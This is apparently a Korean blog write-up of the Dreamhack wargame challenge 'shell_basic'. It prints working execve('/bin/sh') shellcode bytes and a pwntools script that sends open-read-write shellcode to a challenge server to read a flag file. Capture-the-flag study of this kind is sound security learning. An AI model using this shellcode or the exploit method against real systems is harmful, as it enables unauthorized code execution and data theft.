Information Security
[Dreamhack] shell_basic 본문
https://dreamhack.io/wargame/challenges/410/
shell_basic
Description 입력한 셸코드를 실행하는 프로그램입니다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다. flag 위치와 이름은 /home/
dreamhack.io
objdump 를 이용한 shellcode 추출
마지막으로, 작성한 shellcode를 byte code(opcode)의 형태로 추출하는 방법을 알아보겠습니다.
아래 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정입니다.
step1-shellcode.o
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
step2-shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
--- 22.10.04 ---
참고 라이트업
https://intrepidgeeks.com/tutorial/dreamhack-shellbasic
[dreamhack] shell_basic
문제 정보 문제 풀이 입력된 셸코드를 실행하는 프로그램이기 때문에 orw 셸코드를 작성해 flag를 찾는 방식으로 접근했다. from pwn import * p = remote("host1.dreamhack.games", 10189) path = "/home/shell_basic/flag_na
intrepidgeeks.com
문제 정보를 확인해보자
flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong 이다.
from pwn import *
p = remote("host3.dreamhack.games", 23744)
path = "/home/shell_basic/flag_name_is_loooooong"
context.arch = "amd64"
shellcode = shellcraft.open(path)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
remote 함수를 이용하여 원격접속 하기
context: pwntools 설정에 쓰이고, 그 중 arch는 pwntools에서 사용되는 프로세서 언어를 설정하는 속성
-> context.arch를 amd64로 설정하면 amd64에 맞는 환경으로 pwntools를 설정됨
shellcaft: 시스템콜을 쉽게 사용하기 위한 클래스
shellcraft.open을 통해 미리 지정한 파일을 열고, shellcraft.read로 이를 읽어들여 shellcraft.write로 콘솔에 출력하는 기능을 수행
shellcraft를 사용하여 open, read, write 모두 가능
rsp의 데이터를 읽어 rax에 저장 후 출력
-> 'rax'가 파일 fd로 설정되는 이유는 시스템콜로 반환된 값이 rax에 저장되기 때문
-> buf의 값으로 'rsp'가 들어가는 이유는 buf의 주소가 'rsp'의 현재 위치이기 때문
asm 함수를 사용하여 shell 코드를 기계어로 어셈블하여 전달 후 recv로 데이터를 받아 flag 출력
'INTERLUDE > System Hacking' 카테고리의 다른 글
[Dreamhack] ssp_001 (0) | 2022.11.03 |
---|---|
[Dreamhack] Return Address Overwrite (1) | 2022.11.01 |
[Dreamhack] pwngdb, pwntools 설치 (0) | 2022.09.29 |
[Dreamhack] basic_exploitation_000 (1) | 2022.09.22 |
BOF 스터디 (0) | 2022.09.20 |